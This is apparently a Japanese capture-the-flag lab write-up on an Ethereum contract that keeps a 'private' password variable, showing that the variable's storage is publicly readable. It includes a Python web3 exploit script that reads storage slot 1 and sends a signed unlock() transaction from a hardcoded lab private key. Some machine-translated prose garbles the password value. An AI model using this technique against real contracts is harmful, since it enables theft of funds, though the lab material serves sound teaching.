ブロックチェーンのセキュリティ
安全でない乱数の練習 1
目的
python3 の web3 モジュールの使用方法を学ぶ
イーサリアムの安全でない乱数の脆弱性を分析して悪用する方法を学ぶ
研究室環境
Ubuntu18.04オペレーティングマシン
実験ツール
Python3
実験原理
トランザクションの検証時にコンセンサスに達するためにすべてのイーサリアム ノードが同じ結果を計算する必要があるため、EVM 自体は真の乱数の機能を実装できません。擬似乱数の場合、そのエントロピー ソースは決定的な値のみです。
コントラクトは、外部には知られていないプライベート変数を使用して乱数生成に参加します。変数はプライベートであり、別のコントラクトを通じてアクセスすることはできませんが、ストレージに保存された後もパブリックのままです。ブロックチェーン ブラウザー (etherscan など) または geth を使用してストレージの変更を観察したり、変数ストレージの場所を計算し、Web3 API を使用してプライベート変数値を取得したり、乱数を計算したりすることができます。
実験内容
安全でない乱数の脆弱性を見つけて悪用する
Python3 の web3 モジュールを使用してリモートから脆弱性を悪用し、フラグを取得します
実験用アドレスNC IP 10003
攻撃プロセス
コントラクト アドレスとコントラクト ソース コードを取得します
nc ip 10003 を質問に接続し、1 を入力して、コントラクトを展開するためのゲーム アカウントとトークンを取得します
http://ip を開き、上記で割り当てられたゲーム アカウントを入力し、「リクエスト」をクリックして eth を取得します
nc ip 10003 質問に接続し、2 を入力して展開コントラクトのアドレスと新しいトークンを取得します。
nc ip 10003 質問に接続し、4 を入力して契約ソース コードを取得するか、質問の添付ファイルで契約ソース コードを見つけます。
契約ソースコードの脆弱性を分析する
この質問では、フラグを true に設定し、契約コードを分析する必要があります。契約残高は 0 である必要があります。
主な脆弱性は、パスワードがストレージ変数であり、コントラクトのストレージ領域に保存されていることです。変数タイプはプライベートに設定されていますが、ブロックチェーン内のすべてはパブリックです。プライベート変数パスワードの値は、 Web3 API を使用して、ロック解除関数を呼び出してロックを解除します。
EXPの使用率
パスワード変数はスロット 1 にあり、その値を読み取ることができます。
パスワード=0x000000000000000000000000000000000000000004618a7a7ee551f3d9f8f であることがわかります。そのため、unlock(0x0000000000000000000000000000000000000000000 461) を呼び出します。 8a7a7ee551f3d9f8f) できる
このプロセスを自動化するには、exp を書き込みます。以下のcontract_addressのアドレスを、独自の権原契約のアドレスに置き換えます。
from web3 import Web3, HTTPProvider
from solcx import compile_source
import time
w3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))
contract_address = "0x2b5Ed99637BEDAaB6b3B2018DAF32A841D98cb31"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"
def generate_tx(chainID, to, data, value):
txn = {
'chainId': chainID,
'from': Web3.toChecksumAddress(public),
'to': to,
'gasPrice': w3.eth.gasPrice,
'gas': 3000000,
'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
'value': Web3.toWei(value, 'ether'),
'data': data,
}
return txn
def sign_and_send(txn):
signed_txn = w3.eth.account.signTransaction(txn, private)
txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
print("txn_hash=", txn_hash)
return txn_receipt
password = w3.eth.get_storage_at(contract_address, 1).hex()
print(password)
data = Web3.keccak(text='unlock(uint256)').hex()[:10]
data += password[2:].rjust(64,'0')
txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
txn_receipt = sign_and_send(txn)
print(txn_receipt)
実行経験値
nc ip 10003 質問に接続し、3 を入力し、前の新しいトークンを入力して、フラグを取得します